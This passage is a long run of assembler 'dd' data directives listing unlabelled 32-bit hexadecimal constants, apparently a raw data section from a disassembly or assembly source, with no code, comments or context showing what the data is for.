dd 17923614h, 37D29D31h, 3BDEF488h, 37B51884h, 1094189Bh
dd 5528055Ch, 70CD740Fh, 0F2D9288Bh, 6EED3773h, 313C1240h
dd 221D5060h, 5A35D033h, 69C5B713h, 0FC1FC9D7h, 0EF5B3C14h
dd 2ECC7472h, 0D6D7A7B8h, 0C5F4A07Dh, 11314F92h, 0DD2CBA65h
dd 139D682h, 3D3C7F6Dh, 67A1D73Fh, 6C94E1E0h, 0AF2B0621h
dd 0A14378E3h, 282B2A24h, 0F33FEAAEh, 2832FEA1h, 0C9BC6035h
dd 0C1BD8AD1h, 5FC9C13Dh, 6B1F1538h, 0CB742129h, 2526E8B9h
dd 2FA8EDABh, 2BECA52Ch, 3DA23030h, 573674B4h, 0AA16BFB3h
dd 555BC815h, 1EF8FB37h, 0FB0D4372h, 0A4624C6h, 1A29C8ECh
dd 0F50210Bh, 341EB629h, 16B7326Ch, 37083C04h, 3E982DB6h
dd 0BE9EF25Fh, 2196AB1Eh, 25AAE2A3h, 4C5CCE25h, 0A6D3D72Ah
dd 0F0B1DF63h, 0F534368Eh, 8B1F3750h, 0D5983BB7h, 5C36BDA7h
dd 2A1F843Eh, 950063B0h, 45A52525h, 0F1B8F9Dh, 130B25D7h
dd 1F1D52D7h, 1D009716h, 9103BA1Ah, 5BC41D14h, 133D3804h
dd 623D20C0h, 412CC2Ah, 36AD666Ch, 0A07C1DFCh, 0A12FB32Dh
dd 0F1DEF5F3h, 2A3AF9E6h, 0D338FA35h, 1797160Ah, 0BD28BFE4h
dd 2FBA802Ah, 2ECD21B6h, 279C2A4Bh, 41B48146h, 503D1C9Fh
dd 33FD38F5h, 3EFF5762h, 0DF50105Bh, 21E10E1Eh, 0CE1B31D2h
dd 785A27F6h, 1613F93Ah, 3BF13ABEh, 666F390Bh, 63792976h
dd 19667E6Dh, 465C3553h, 391EDE98h, 276B2224h, 72A72D51h
dd 8AEB2B29h, 0DBC70EA6h, 7DDE0133h, 6366377Ch, 67F6663Dh
dd 0FF057F84h, 1EFE1B31h, 16627A98h, 272908CEh, 290C603Fh
dd 44AA0B6Dh, 0B7DA3790h
dd 10AC31C5h, 2BC8185h, 27563F68h, 6ECBEF3h, 173A62D0h
dd 726AB03h, 7E1AAE21h, 647080Fh, 38D96C7Dh, 4E54801h
dd 5A23AA0Dh, 4C8C233Ch, 0AF4D534h, 123919ECh, 0BE43530Ch
dd 2C9D6E52h, 7D299B1Ch, 242C5103h, 0F5F71DDAh, 1B358320h
dd 3DCC883Dh, 970BFF0Ch, 30733A91h, 797D7D20h, 0A1437DB5h
dd 0E88A4A24h, 0E12FCE45h, 0BBBE9B60h, 714087B0h, 2A9B33A8h
dd 0BDF752Bh, 4E41484Ch, 71EDAA05h, 97AFCD40h, 5BD2A25Ch
dd 22E3926h, 432A5210h, 0AB603F3Ch, 36ABAEC7h, 362D3BBCh
dd 96D739Eh, 52248118h, 15BFE429h, 0EEAA77E7h, 0AEFD38D5h
dd 1EBE304Dh, 363A343Ch, 83063838h, 6D08DC32h, 0D237B6Ah
dd 0B1134848h, 6DDB10F9h, 0EA13B897h, 2CACB4F9h, 31452E78h
dd 37F4B03Ch, 33AF1B5h, 0DD49F03Ah, 19F0FF0Dh, 0A3DF0E06h
dd 2E43DDF9h, 20D8734Fh, 8CF38E3Ch, 0C20CE1Eh, 33463239h
dd 3048B553h, 79334E36h, 0DB7F01B6h, 6AE52608h, 0DEA92358h
dd 2C454204h, 22B223F7h, 26B13E04h, 53DA38A1h, 0A75E22F4h
dd 4FCA2805h, 0FF2F73B1h, 1A1D0812h, 8227E7F7h, 17BF3611h
dd 231835h, 28E22B23h, 37413024h, 0CB6B71DBh, 0FACF3AC8h
dd 37493D2Ch, 8361F369h, 6107CDAAh, 28310026h, 7838CE25h
dd 0ED342A2Ah, 0F22C2D2Eh, 41BD66A2h, 185E1712h, 0C22E38FAh
dd 1FDBAB2Bh, 0DF9FE69Eh, 0DB761B54h, 2AE78630h, 17F91929h
dd 0B90A5BEFh, 0BF473264h, 65694678h, 0B57B3EB4h, 303BDEFCh
dd 96071DDDh, 0A6673530h, 1EA4A587h, 2A9A3DA8h, 74707271h
dd 9F697CFAh, 4357B584h, 2D3A7FB8h, 0C72A7DE0h, 968E333h
dd 0E28122DFh, 26E5A121h, 0E2AA2D52h, 0A5EE72D4h, 0B93D70EFh
dd 7334BF3Bh, 3A36F550h, 682DD0B8h, 1C761D55h, 61227512h
dd 89A4E35Dh, 7E12BCEh, 43AC146Bh, 0BA600B5Bh, 0B8387532h
dd 68682378h, 3B8839D2h, 2F92393Bh, 80444042h, 95CB75E2h
dd 7E6E640Dh, 734FB42Fh, 6B906F73h, 0F432F2F2h, 32306D07h
dd 328C6706h, 77B46B0Ah, 491E1138h, 2361CCA5h, 0E7A32525h
dd 0D47A2E56h, 0F3AEA539h, 0FDB93032h, 0EDB636DCh, 2BF9671Ch
dd 0FFE5D524h, 1E59EA22h, 5620283Bh, 8BCD722Ah, 2A28D327h
dd 2AE9AF2Ah, 6CF7F0A4h, 373530F1h, 22BB0CB8h, 38FA2DEBh
dd 0BE049463h, 0B438431Eh, 0A46F71A2h, 2C68EA74h, 632CA5A0h
dd 0F0A6A50Ah, 74C85B62h, 206A6608h, 0FFC86A3Eh, 295F0FBDh
dd 1CDCEFF5h, 3223DDDEh, 546719E4h, 0C5072CA8h, 72270BC1h
dd 0F83BF405h, 3E363EF5h, 0D43F33F1h, 0AB3BFE85h, 967AF41Dh
dd 23262105h, 362AE75h, 0DAA17F30h, 37C2AE2Ch, 57BBFDBBh
dd 672A1510h, 3BE77CD0h, 2D1A69B6h, 520F192Bh, 6684204Dh
dd 0CE712023h, 0E431290Dh, 2C6D202Bh, 3310E99Dh, 3E11783Dh
dd 0B9883A69h, 0FC2D64FFh, 8D591C37h, 3DB2130Bh, 8520CB70h
dd 77907832h, 593437E8h, 108E2631h, 1C158ECAh, 6C5C30C7h
dd 3D6C306Bh, 4EF37F2Dh, 0AB0A0E1Bh, 482422D9h, 0B7B3255h
dd 2D7B07A9h, 40C1C605h, 11DBB92Eh, 0D85F3A55h, 0DC693639h
dd 23A15E17h, 4E1EDD3Dh, 62757272h, 26A2E283h, 0C32C28E9h
dd 0D0D0593Bh, 0FDB90160h, 121695DCh, 0E3B03FF9h, 173D1D31h
dd 635D191Bh, 540FC8E0h, 0ACDADA63h, 4A7277E4h, 4E0C3423h
dd 0BB556E2Dh, 0F221B43Eh, 3B594117h, 780D2CF9h, 511CABEh
dd 56AD1774h, 51613332h, 20982B01h, 6D29EB2Ch, 883E3F20h
dd 3C340B30h, 3C4A0FCEh, 0D3D4383h, 744AF733h, 205B498Dh
dd 0B534D22Ch, 56476485h, 7D23403Dh, 0B4C77935h, 380332F1h
dd 38275C19h, 6B3B686Eh, 7EB6C7B6h, 0F957BECh, 1E442767h
dd 4A530484h, 196D49A3h, 6FC268EBh, 7520D167h, 0B32BBE3Ch
dd 0D7775999h, 0E32E68B1h, 7E4D4E4Ah, 0D4A4D094h, 0AD315123h
dd 6FA41A70h, 63A06CC7h, 606060F3h, 36413650h, 4B57B3DBh
dd 0DFD594Eh, 84E1906h, 4D20CE83h, 21FA0E92h, 456956B7h
dd 1FD203EBh, 35FF0E2Eh, 371237F2h, 7D73BC7h, 727D2434h
dd 5B3B4D3Ah, 3E4F7078h, 450BA4Dh, 80D067Fh, 0F9595F17h
dd 32F0D96Bh, 36D63511h, 0D02EC10Fh, 3D087F59h, 13E09FDh
dd 1E2D51F4h, 2AC410C0h, 831ECD3Fh, 372B2D01h, 2C09A7C4h
dd 32367531h, 3720DD29h, 25891939h, 0CE068154h, 5C3990ADh
dd 0AA26A0F3h, 967900BFh, 757BC026h, 9A45035Bh, 338D31ABh
dd 93197A23h, 98AC3896h, 9EC0C03Bh, 1DBE913Fh, 21813BB4h
dd 1924815Dh, 8B5C2787h, 8CE0812Ah, 3192462Eh, 6B3492AEh
dd 35B23794h, 8F6F3B9Bh, 57F2E339h, 8C471E6Fh, 258161C8h
dd 0A1F6F07h, 0C56FEE28h, 0A42F5C1Dh, 6031AD8h, 0AF7044Eh
dd 0F71093Ch, 2F370DB2h, 2B0A2913h, 17641509h, 13A6117Fh
dd 1F991DA4h, 1BE71996h, 60205C6h, 2470058h, 0EA90CB8h
dd 0A98089Dh, 2BC829A3h, 17D515F5h, 1077126Eh, 125A1E41h
dd 16821488h, 7D5B0896h, 127134BEh, 0B13B5203h, 0D63D6CCAh
dd 0E2E3C2FBh, 8938DB9Dh, 45ECA874h, 11684736h, 2D4FCACAh
dd 313C06A0h, 8C656330h, 7D495F1Eh, 5D472F5Ah, 1CD4BC48h
dd 45393E2h, 5FAB05h, 28CF7AA5h, 0D3D4F828h, 1827274Ch
dd 27531B02h, 56454341h, 0DD382A1Eh, 755B7E8Bh, 15D9AF73h
dd 44293B20h, 25491726h, 34F2B47h, 2D414E1Dh, 7A613357h
dd 1725D560h, 62186A20h, 747329EDh, 1C1DCD5Fh, 5676B25Ch
dd 0A6706023h, 0F9647A1Eh, 2BC5E02Bh, 7631362Eh, 79B85417h
dd 1ED16852h, 383D6FC3h, 0F9C7271h, 0CD22F764h, 0A2E226A2h
dd 0EF2C27A9h, 762CAC28h, 0A0B7E92Fh, 0BF343732h, 3A38A4A0h
dd 2DAEACB2h, 9A913C3Eh, 0EF94211Dh, 24A4B0A9h, 0A9E9CE2Dh
dd 1A08A747h, 76118CAh, 0C5505B1h, 0C80EF8h, 67703DCh
dd 218C0443h, 233D27DAh, 1EEA1DE2h, 184B1B43h, 2AFA2A28h
dd 2FBA2C2Ch, 72023D33h, 64066104h, 0B80FDA0Dh, 4C08C40Ah
dd 572A932Ch, 0A2194627h, 951DB31Bh, 1AE9EC1Fh, 0C67F0441h
dd 4272C0E2h, 32262571h, 9AD4D024h, 2E556C31h, 1D1809D6h
dd 3524331Fh, 2D342700h, 0B91D24C6h, 0BFBC4192h, 3533CDBEh
dd 5FDC273Ah, 2D3BD586h, 2FFF38D8h, 0CB18E876h, 23CE071Fh
dd 4E0E4800h, 19414C02h, 3D5A2AE8h, 12865DFFh, 2523456Eh
dd 0FF160434h, 0AE42BBF4h, 0B82F1F05h, 611FBC36h, 8A67A360h
dd 1EA22A45h, 39B52989h, 43CC7735h, 41B30462h, 3637A9C4h
dd 0ED811B83h, 3F8FC776h, 720BBD7Ah, 25218104h, 562E85B6h
dd 22B3C0Fh, 5A232E3Bh, 33E161AFh, 0BB093527h, 0B2311C8Bh
dd 388C3F3Bh, 4F347173h, 0E685EC1Eh, 258007A6h, 0E7C0E321h
dd 978680Bh, 8001FF06h, 0D11E1933h, 3D381734h, 61267B56h
dd 0EF0B2754h, 60645FB8h, 40115A27h, 0F31604ACh, 79EA2B91h
dd 329EE71Ch, 34C0EDB8h, 7B34429Ah, 42B2C9D2h, 945B2E3Dh
dd 0DC7F451Eh, 0E29D3340h, 2739AE7Ch, 0A02DA031h, 0AED6522Ch
dd 333349F7h, 0CEBF3536h, 3F4E2001h, 0D43E34B7h, 27E795E3h
dd 1AC22445h, 1EDD1CD1h, 10C8112Fh, 14D516C1h, 9470B0Ah
dd 0D8F0F9Fh, 5250724h, 10E0319h, 225E2403h, 1E4F2078h
dd 26241C57h, 282825C6h, 0B2F2B5Eh, 0CE00A11Eh, 6B053502h
dd 0CF09D807h, 4B0E540Bh, 329F70Ch, 62A2382Eh, 0EB29572Dh
dd 0E83756A5h, 0A5753E03h, 0F4AC163Dh, 16231339h, 66289637h
dd 7C7B35B0h, 9603C1Fh
dd 75495A7Dh, 7A20C904h, 35A0505h, 0AEDAA224h, 2D5BD22Ch
dd 0DB64CFBBh, 2CB65C90h, 395A01B1h, 0BA1E1D28h, 681B2F19h
dd 7227A54Ah, 0A34D22A2h, 2CA8B121h, 28A8B971h, 7E37B1CDh
dd 331E32B6h, 4933EB7h, 0BF493ABEh, 1B992B39h, 73269EA3h
dd 2322A600h, 3D2EA720h, 0B8632DAFh, 0B43629AFh, 33B5AB34h
dd 3FBCAACEh, 3BBDDA70h, 0D1BBAD4h, 715B7439h, 2652A8C9h
dd 1324321Eh, 2EBAC208h, 32678416h, 0F3F960Ah, 710C348Dh
dd 681927B9h, 0F36D23BCh, 3D03942Ah, 0A1748BC8h, 3AA46939h
dd 5637A541h, 10E30AEh, 1C58125Ah, 671D6FB6h, 3BC3D1B4h
dd 3CFBBB4Eh, 1F1E081Ah, 0D3BDC81Ch, 0E37A3423h, 89D0C57h
dd 0AC3EC429h, 3AB319BFh, 4F142671h, 0C5C6C85Bh, 0C0490E5Fh
dd 6D17892Ch, 91294C3Fh, 0A52EC022h, 32393627h, 27CE189Eh
dd 0E1147FA5h, 686A6C36h, 0B05C6C36h, 0AC003B37h, 9E43C4Fh
dd 0D1D6F29h, 24708065h, 0FDD81B58h, 2C0C1914h, 155B2C25h
dd 3FCB5641h, 0CD9E2841h, 9DFD2F39h, 11703D31h, 87145F28h
dd 0F38CA42Fh, 1420370Ch, 1B2C19E1h, 0AF13A620h, 35623420h
dd 77236738h, 0BF002D38h, 7A3DB83Bh, 1E4C1F9Ah, 0A371239Bh
dd 25257620h, 3A2AA97Ch, 482E2C78h, 326533AEh, 0B6443630h
dd 2E97534h, 3C383C7Fh, 1D1C1BC0h, 2220131Ah, 664C0302h
dd 2ED82E26h, 652C3723h, 315C652Dh, 3C0D2B3Bh, 929673Fh
dd 43C70015h, 0F427BDEFh, 0F1E4F1Ch, 0E5070675h, 18777425h
dd 89EB3389h, 7CCFABC5h, 342931D0h, 3BB53736h, 5DF9B905h
dd 9EABD66Fh, 0AF4E4C7Ch, 0B74A0D22h, 7FB9341Ah, 0B83CE4C0h
dd 0A72C2D5Bh, 338136E3h, 0FD7FCB2Ch, 26B14088h, 3D1AE780h
dd 461E3C1Ah, 7B21711Fh, 24CE2425h, 56A2DE14h, 0A549300Fh
dd 753B71BBh, 763B3461h, 1E794C64h, 54E8C373h, 27192A2Bh
dd 7B25BC4Bh, 0B5306552h, 39B95B6Fh, 2F2CAADAh, 0A8E3D002h
dd 2900DA8Bh, 0D083702h, 95C0F76h, 98130B42h, 777D9229h
dd 10EF1691h, 0C013F28Dh, 9A0B011Bh, 1A114607h, 1DACEA27h
dd 0C2471FA3h, 0D80DF211h, 2DD3083Dh, 29E22BE8h, 2F152124h
dd 1B110513h, 1C6A6D1Fh, 184E1A60h, 472B914Ch, 37421134h
dd 13A4D17h, 7A3E49E9h, 9B4D1C6Fh, 22A07B1Ch, 408F3E33h
dd 0AF582853h, 2EA8502Ah, 0E731B1A8h, 33A70A33h, 3ABCA536h
dd 1E3DBD93h, 18AFB101h, 21A5A11Fh, 0F124A6EBh, 0F67E27A3h
dd 134C2BABh, 0C2D85BC4h, 0E26AA74h, 0D13B37D5h, 0B33CD9D9h
dd 0CF3F3A9Bh, 40511EFCh, 0E6E52982h, 8C15FC25h, 2CF99322h
dd 0C086258Ah, 3389D31h, 38383D4Ah, 43A33647h, 0DB334D31h
dd 967E7610h, 81113715h, 2607B72Eh, 6E0923EBh, 0B0A2C2Eh
dd 63365B10h, 5F36375Eh, 2E1EC66Eh, 0BC7A3D5Ch, 525D16E3h
dd 482DB03Bh, 38257533h, 0A297F74h, 0E2D7029h, 0CDC9BB79h
dd 37E4BC26h, 6466FF7Bh, 35AD1839h, 1CA2123Fh, 9981F3Fh
dd 24242223h, 0C44E27CEh, 456B292Ah, 11B1060Ah, 71B06262h
dd 517CB72Eh, 343D7A1Ah, 0F47E71B3h, 70459ECAh, 9436DD61h
dd 2A2624FFh, 0F743AF40h, 112F5D58h, 3C12336Ch, 325A2653h
dd 79BBEC5Fh, 18875830h, 0DF839A6Ch, 6F2A2265h, 0CF242D20h
dd 2B0F2A87h, 2F787C28h, 47BBC0BBh, 79BB3110h, 7FFD5938h
dd 3F3F2D18h, 98F51C18h, 0AFDEDE8Ah, 0E067166Dh, 2B293427h
dd 342F55C3h, 0A30152Bh, 0DE3534CCh, 0B127385Eh, 36193C77h
dd 10957F61h, 0A2501B1Eh, 27E733E6h, 0FEF029F4h, 0F8662F2Bh
dd 3080212Eh, 35EFDF3Ch, 0E96AC732h, 0D794353Ah, 1D1F363Eh
dd 214AB600h, 2A22E43Ch, 243A2799h, 0B9C76028h, 310F202Ch
dd 5C32567Bh, 3137DD1Dh, 543A4293h, 77133F4Dh, 1E9A131Dh
dd 22B60B0Ch, 426AA14Ch, 435E4E46h, 6E212FFCh, 0FA321002h
dd 123AB327h, 0AC33394Bh, 38C33F33h, 0E9151E4Bh, 5C27201Fh
dd 21253032h, 0EB2B2267h, 76627E24h, 0A13B3028h, 79383432h
dd 797C7679h, 3B3D683Bh, 1D485E78h, 20D11C1Fh, 21F21C56h
dd 0FB81CF25h, 384C922Eh, 0E3442BF2h, 3130E808h, 0FA883E46h
dd 9D0C1E0Ah, 0F4492B54h, 0C1B8C5Eh, 208B26B7h, 2CB546CDh
dd 0A52FB559h, 403A2AB1h, 3D736138h, 6FA437h, 6C233753h
dd 0A1FC9D5h, 0F71B1475h, 356E1434h, 69194405h, 0CBCFC102h
dd 3B16AD37h, 37144513h, 930D1562h, 0F33A8332h, 6161C2C3h
dd 0A1D18D9h, 2228B01Eh, 702508EFh, 0E295CACh, 0A32C4623h
dd 32D94E61h, 0C9CAFFC6h, 4B518167h, 3F3D783Bh, 0E2D2EDD7h
dd 0EFC81FE1h, 452DE52Fh, 0C12CE637h, 0A0AEB71h, 10C40502h
dd 19173028h, 511DF7D2h, 0DF96FFAFh, 0F43FB436h, 0C292BE89h
dd 0C9D3E838h, 31C1083Ch, 8AB2E1Ch, 0B4F7484Eh, 6BB26615h
dd 39A21276h, 246E7933h, 0FA1B1AB1h, 0E0125A1Eh, 21CA2120h
dd 6B2824CEh, 4F74210Ch, 2F232DA5h, 23F6B234h, 3735A5F7h
dd 0B0522438h, 3E3EFAFDh, 1EFD421Fh, 0B236222Ah, 0D560243Bh
dd 0AAC16D34h, 0D1D2FB59h, 0B62F7EA2h, 0B4572674h, 0BAFF0B31h
dd 6BD53D3Dh, 43431B4Ch, 0E27BDF2Dh, 9D7A7C22h, 722B2727h
dd 20BC29E9h, 21DCACB2h, 371077BFh, 69A63736h, 0E5B02EC5h
dd 971AEF3Ch, 7E1FE220h, 261F239Fh, 4228067Dh, 2CA5A756h
dd 0B07E7862h, 0F0B0E5CEh, 3BD9B739h, 4B3B3B62h, 3F4BE040h
dd 0A98E2C04h, 870DCA30h, 0A4353465h, 5ED56117h, 0C4254C24h
dd 2B51213Ch, 563AB50Bh, 0CB79813Ah, 5C6EBD00h, 1EF0990Ah
dd 2F54E594h, 0E5AE7A7Ch, 6829F9D8h, 0A12C5EDAh, 3D313F0Fh
dd 39353B33h, 3A363737h, 0E63F6AC4h, 1F1C3B14h, 21BFCCF7h
dd 6CABDD20h, 0B9C12526h, 6898382Bh, 0A38F29AFh, 0F3F322Dh
dd 3C397628h, 1939FA13h, 149BFFCEh, 241E0756h, 256A29C7h
dd 28950721h, 2D23562Dh, 85BD9929h, 0DF413EF0h, 889A3774h
dd 3C533FB9h, 4D36DF3Ch, 941E7B1Ah, 6CAF2567h, 27747422h
dd 2F6CA04Eh, 0F5D238D3h, 0B5323372h, 0F03AF1B7h, 2EC52C5Ah
dd 0FDB63D3Ch, 7C9F9429h, 612CA795h, 26842541h, 2EEB7678h
dd 2EE17EF4h, 361574A5h, 0B7BDF4B7h, 12B0B916h, 0DE151867h
dd 195C2F3Fh, 3464E026h, 0A02D0372h, 398B71E6h, 0AF3AA55Fh
dd 913B0E3Eh, 1BDC6336h, 2D723D95h, 9D243991h, 3C1A8F3Ch
dd 0A0FC5608h, 601D475Dh, 16582AE7h, 2C342A36h, 0B32F3A1Ch
dd 75DF2EDDh, 0AE34775Eh, 0CC6E382Ch, 192A567Fh, 0D41C0CDCh
dd 76F42334h, 53C72090h, 2B5EC528h, 2D2E59DBh, 70B18B4Ah
dd 0C6364439h, 3B3A486Eh, 0CB931EE2h, 1E6C321Bh, 0D61863AFh
dd 26546023h, 656AC84Ah, 6DCD2C5Ah, 32314175h, 73BE51EDh
dd 0FD6A3437h, 3A3DC07Eh, 11591BB6h, 6CAB1111h, 7024A82Eh
dd 0D575AC2Eh, 2D2ED2A9h, 0F1033856h, 3636B854h, 0D0BBEF36h
dd 3FFEB838h, 1DE23FBDh, 0D99CF062h, 50032321h, 0A2E71534h
dd 0AF2A2FABh, 712EEC29h, 3EF34D35h, 0F9B1BC65h, 6C692D39h
dd 0FC03D66Ah, 0B51BB90Ah, 3D291027h, 460D2E16h, 2F1B9C3Ah
dd 98256D41h, 38723611h, 463D72BAh, 6B233B23h, 0DF62D527h
dd 4A01FB5Dh, 99830C3Bh, 274F7403h, 11342E75h, 283C2E2Ah
dd 349E3632h, 2E95329Ch, 3C9273DFh, 91D00CE2h, 1C2CDE39h
dd 209919B8h, 8A228C20h, 2F859620h, 0CC4C34Ah, 47242825h
dd 0DD40359Dh, 6F3E9E54h, 3B9A3D95h, 0B2CD00D8h, 0F15EAD36h
dd 0EC396221h, 890B26C6h
dd 7319276Bh, 515B2E9Ah, 46A3531Eh, 7C56535Dh, 0F7602806h
dd 0F705B438h, 19192719h, 0BC2B2100h, 28BD602Bh, 40BFE96Ah
dd 65CE4558h, 0D05ACB57h, 38C8263Bh, 6A653F51h, 319D2D61h
dd 10A30C5Dh, 7E720D00h, 558B6469h, 456B0827h, 0EEA84845h
dd 7ABC5F51h, 0C7358C70h, 0B7C9C8C7h, 3ECA0E07h, 0DCC690DEh
dd 0E11319F5h, 0AFEBA822h, 2BE9A437h, 29B82BA2h, 71332F82h
dd 712CCBB1h, 5BC8D948h, 70B13B8Ah, 744B6757h, 0F0795FE5h
dd 3A73DAA1h, 3EA74F90h, 8AFA7A3h, 24A8AE3Dh, 0F57BB2F6h
dd 47F63F7Fh, 4DFBE29Dh, 0C1FF2BC2h, 1B42DD15h, 0AE19E19Fh
dd 37ABA530h, 2FA7FE2Ch, 0A2AE2C6Ch, 0E875399Ch, 0BC74F5BBh
dd 39D47EBCh, 333FFC8Ah, 1C8020DEh, 0EBA4801Eh, 0E766A02Ch
dd 2BED353Bh, 2F2C9C2Ah, 4C30318Dh, 58343566h, 3B653936h
dd 3F3C703Ah, 1C1D4E09h, 37211E38h, 24222223h, 0CD82DD27h
dd 2CC62A2Ah, 3031F72Fh, 9FB4B22Ah, 0F39361Eh, 3C703A3Bh
dd 1D1A613Fh, 211E64B7h, 0BA2223AFh, 0C0772724h, 3C38A975h
dd 30AC0E2Ch, 41321249h, 5EDF662Fh, 2BBB3E23h, 0AA3EDF30h
dd 1F740C2Eh, 3A8220CAh, 0FC38D430h, 220806D8h, 28D02FCCh
dd 3C133984h, 30293D7Ch, 39D53933h, 0EF9B34D3h, 17F92E1Eh
dd 2BCFDDA3h, 0A62F75E5h, 2228281Dh, 5EEAA824h, 77BA562Eh
dd 3BE14CBh, 0B3BE417h, 36B65A33h, 0ED1D1B72h, 0DE713B33h
dd 51AF27F4h, 0A2F0A1E6h, 0D46DF6Fh, 15A4A22Fh, 5F369312h
dd 0B3EA1249h, 681D4AFDh, 913DAFC2h, 803BBA91h, 67932353h
dd 33A6244Fh, 0FBC3A679h, 346A659Ch, 0D5CDDA37h, 3C727317h
dd 78124A9Dh, 1F090219h, 1B294C3Eh, 0B22A05B4h, 2A64262Ch
dd 62B88BC0h, 96C62A28h, 0A0363579h, 6176673Ch, 0C324E43Ch
dd 37AEFD30h, 12FE591Fh, 0B2206952h, 0F1E3342h, 80EF1445h
dd 8C2C2D6Bh, 7BCF9CA2h, 0CF723632h, 9BEB3A37h, 0AC703CBBh
dd 0B51DFA53h, 52215F64h, 122E27Dh, 28683948h, 2DAC5C93h
dd 0D069D05Ah, 0D76DBC33h, 0CC1CB5A3h, 0AF5C7B38h, 171B9E02h
dd 20153F5Bh, 242CEEDFh, 2828262Ah, 2C242A26h, 30202E22h
dd 3B333DCEh, 37373935h, 333B3539h, 143F313Dh, 1F11E21Ch
dd 232D212Fh, 2729252Bh, 2B252927h, 20D12D23h, 3C323E30h
dd 38363A34h, 343A3638h, 383E323Ch, 6B1E1C14h, 324F253Eh
dd 21D67D2Bh, 2ED83FA8h, 27FADBA2h, 3E213221h, 60324A0h
dd 0B5379A15h, 0B5CCBC2Dh, 1DF44B39h, 0D006FE1Fh, 0AC200972h
dd 0F131D728h, 0C250436h, 11ACAD27h, 2EECC53Bh, 285777F6h
dd 823424E5h, 1C14B01Fh, 20101E12h, 27E2222Eh, 2166AD25h
dd 2C23BAEAh, 582730A2h, 2AB94CD1h, 0C9BC6064h, 184FB3B9h
dd 0C1FED639h, 51BE116Ch, 0C82FC929h, 97742555h, 2B3A6927h
dd 0C5D3C528h, 23BC31E0h, 0F13535AFh, 0D33B39C8h, 247778D1h
dd 1714B529h, 3004EEA5h, 3201C42Eh, 4BEE06A7h, 4E316D13h
dd 19D96063h, 7A503E31h, 3F3934FDh, 0B034AE7Ch, 383A2B8Ch
dd 51C26910h, 4F212508h, 133D2222h, 46CD373Ch, 2656139Fh
dd 0C830933Fh, 37782106h, 393C2EDBh, 1D1B3F6Ch, 0DC1F7CB8h
dd 0DC062800h, 7AD32677h, 7EDB2029h, 202EC22Dh, 3533F5F0h
dd 7BD6E215h, 849A3B39h, 0EA37B56Bh, 0D0BEAEF4h, 2B0665D6h
dd 20522424h, 0D496C17Eh, 76D10DD3h, 0F26CF7BBh, 66F7BE35h
dd 0E23F3969h, 3A28790Ch, 1B097DB9h, 0D62E4A0Fh, 23B52A27h
dd 2BD92B25h, 7F3E4607h, 0A01AE2C7h, 343021BDh, 8AD73D27h
dd 94ABB15Eh, 4F19195Bh, 38A91A0Ah, 20303227h, 2DD83430h
dd 1C682113h, 0B3D87F24h, 363129A7h, 0F7B23226h, 0FB267DB3h
dd 1CBB2678h, 197B761Ch, 64061890h, 55A7C33Ah, 2D2A1A2Dh
dd 3F270173h, 37496831h, 942431D5h, 357CB1F7h, 0D95DD66Dh
dd 0F7D04F8Dh, 4E3C81E8h, 1411912Ch, 48224629h, 3FDE8C24h
dd 7CB83955h, 0F80B3134h, 63EEF05h, 86361D45h, 0E422E924h
dd 26211F1Fh, 0DA242422h, 6B2A2827h, 731D6A1Bh, 231581Fh
dd 6B0044Ch, 3A910894h, 0F40D830Bh, 0F02CFA0Fh, 102B2F1Eh
dd 140A1232h, 7A192319h, 1C540C4Ah, 31851E8Bh, 35BFCD03h
dd 47B560DFh, 3971B644h, 1C2FD73Ah, 0EF944E56h, 0C42214C9h
dd 0D7ECA538h, 0A924EAACh, 302E0A6Dh, 74925A33h, 91377B11h
dd 0F8B83839h, 1BBBB739h, 1C1E9538h, 0E419DE13h, 39AAC24h
dd 5F2929A8h, 0E7A53D25h, 273142D8h, 0E48036E4h, 6D0EC33Bh
dd 1461CA17h, 45A21FFAh, 222E2010h, 29252BB4h, 0E43FD927h
dd 0C2AC3AD0h, 64294F9Fh, 0ABB5C200h, 8EB0A797h, 6E99E61Fh
dd 3BDCD828h, 0B1DA338Fh, 9D0C130Eh, 390ACF76h, 5F4C3B0Fh
dd 8560CA23h, 846D0B32h, 0DB0C9636h, 1A3D1F38h, 3E163B2Fh
dd 711E3C2Dh, 2D929A49h, 1325CE70h, 0C5372E3Bh, 322F3E72h
dd 35338B31h, 0B35363Dh, 80B62AF9h, 124FB619h, 5AB5EE4Fh
dd 0A2AE2A30h, 7272528h, 73780368h, 7F28A9C4h, 35E06D88h
dd 0E62DDFBh, 0ADB03948h, 98DF5E1Eh, 399DCA1Dh, 0AA079376h
dd 0A72F947Fh, 37A834D6h, 328DBFB9h, 0CD022CBEh, 0ABDD11B1h
dd 1B1C1A66h, 203C289Ch, 22C9223h, 113B04F6h, 0C53AC023h
dd 0FA82446h, 142EA047h, 83E3978h, 310A1333h, 3E3A0106h
dd 13D5AF96h, 1EE30F3Fh, 31C4F82Dh, 252D7011h, 29D41E35h
dd 3C3BEC39h, 0DEC602E9h, 37B2BDB1h, 9434B4D3h, 0BEE518D0h
dd 0CDD6E23Eh, 77A61E9Ch, 0AD3E238Dh, 17AF392Ah, 2AEB2886h
dd 2FAB071Eh, 31D64C70h, 0C636447Ch, 0CA3A48BFh, 5F3C38BBh
dd 0BE196928h, 2724787Fh, 23246409h, 28087FBFh, 2A09ABDAh
dd 8D35149Eh, 0EDF83017h, 21993846h, 0BE3D4DE0h, 1D6DF21Bh
dd 0D68617CEh, 50742353h, 0C130B823h, 39CF99FBh, 673A884Eh
dd 0DDFC3BB9h, 0D200E7EBh, 31FC0838h, 117BCFB5h, 0AB491E3Dh
dd 3335CAEAh, 2F472715h, 0C72D0E20h, 0F9711D10h, 1E635D73h
dd 56F61DF4h, 1C3B7A6Bh, 1B7F6E37h, 70B7F34h, 0F212130h
dd 0ED0DD4CCh, 0CFFB298Bh, 2B0E2EC5h, 37226023h, 364737F4h
dd 0D33B2CA1h, 5D12CD65h, 8F3D74BBh, 0CA703011h, 5A581A0h
dd 8DC90C93h, 0CF1D227Bh, 60293AEFh, 163C1A03h, 1AB8271Ah
dd 1F0C239Bh, 3D9C8E8Fh, 0C36DF71Dh, 6F21E385h, 7B2D2645h
dd 4DFA2AEFh, 4A342FA5h, 7C925C33h, 5C890A34h, 0F4503E3Bh
dd 8E9C3A3Fh, 0A2091E3Fh, 1936A328h, 8C25A7B2h, 242BB061h
dd 3DAE2A8Eh, 0A66F307Fh, 0CCB3B43Ch, 0D33EBB49h, 0BF3DBF08h
dd 7D9F5E46h, 232D67A5h, 2729252Bh, 2B252927h, 2F212D23h
dd 3E31313Fh, 3339F534h, 0FD2696Eh, 2C7EAC9Fh, 0FF08E3EBh
